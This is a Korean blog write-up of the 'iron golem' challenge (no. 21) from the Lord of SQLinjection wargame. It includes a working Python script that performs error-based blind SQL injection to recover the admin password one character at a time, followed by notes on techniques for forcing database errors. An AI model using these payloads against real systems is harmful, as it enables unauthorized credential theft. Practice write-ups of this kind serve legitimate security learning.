IT 보안/보안첼린지
Lord of SQLinjection ( 21번 ) iron golem
짱준재
2024. 7. 5. 14:13
21번 문제인 iron golem 이다.
일단 hello 문구가 사라졌다...
그치만 '(싱글쿼터)를 넣었을 때 에러가 발생하는 것을 봐서는 에러를 통해 암호를 정확하게 맞춰야 해결이 될거같다.
쿼리에 맞는 python 코드를 작성한다.
import requests
from prettytable import PrettyTable
address = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'qc4tt4p1ren887gr3v5jf5lcvm'}
def pw_length():
for i in range(30,50):
URL = address + "?pw='or id='admin' and if(length(pw)=" + str(i) +",(select 1 union select 2),1)%23"
res = requests.get(URL, cookies=cookie)//HTTP GET 요청
if 'Subquery' in (res.text):
print("비밀번호의 길이는 " + str(i) +"입니다")
return i
break
else:
print( str(i)+"*********")
def pw_get(length):
x=PrettyTable()//PrettyTable 객체를 생성
x.field_names = ["password"] //표의 열 이름을 설정
pw=""
print(x)
for i in range(1, length+1):
for j in range(1,127):
URL = address+"?pw='or if(ord(substr(pw,"+str(i)+",1))="+str(j)+",(select 1 union select 2),1)%23"
//SQL 인젝션 페이로드를 생성한다. substr(pw, i, 1)은 비밀번호의 i번째 문자를 추출하고,
//ord()는 그 문자의 ASCII 코드를 반환
res = requests.get(URL,cookies=cookie)
if 'Subquery' in (res.text)://응답에 'Subquery'가 포함되어 있으면, 추측한 문자가 비밀번호의 일부임을 확인
pw=pw +chr(j)
print(x)
x.add_row([pw])//표에 새로운 비밀번호를 추가
break
print(x)
length=pw_length()
pw_get(length)
PrettyTable: 표 형태로 데이터를 출력하기 위해 사용
결과를 기다리는데 상당한 시간이 걸리므로
기다려야 한다.
※ Key pooint
- if(condition, true_part, false_part): 조건이 참이면 true_part를 실행하고, 거짓이면 false_part를 실행
- 에러 발생시키는 방법
- Union 기반 에러 유발: UNION을 통해 서로 다른 열의 수를 가진 결과를 결합하여 오류를 발생시키는 방법
- 타입 불일치 에러 유발: 잘못된 데이터 타입을 강제로 삽입하여 오류를 유발하는 방법
- 함수 호출을 통한 에러 유발: 존재하지 않는 함수를 호출하거나 잘못된 함수를 사용하여 오류를 유발하는 방법
( ord(substr(pw, i, 1)) = j가 참일 때 select 1 union select 2가 실행되어 두 개의 행을 반환하면 오류가 발생 )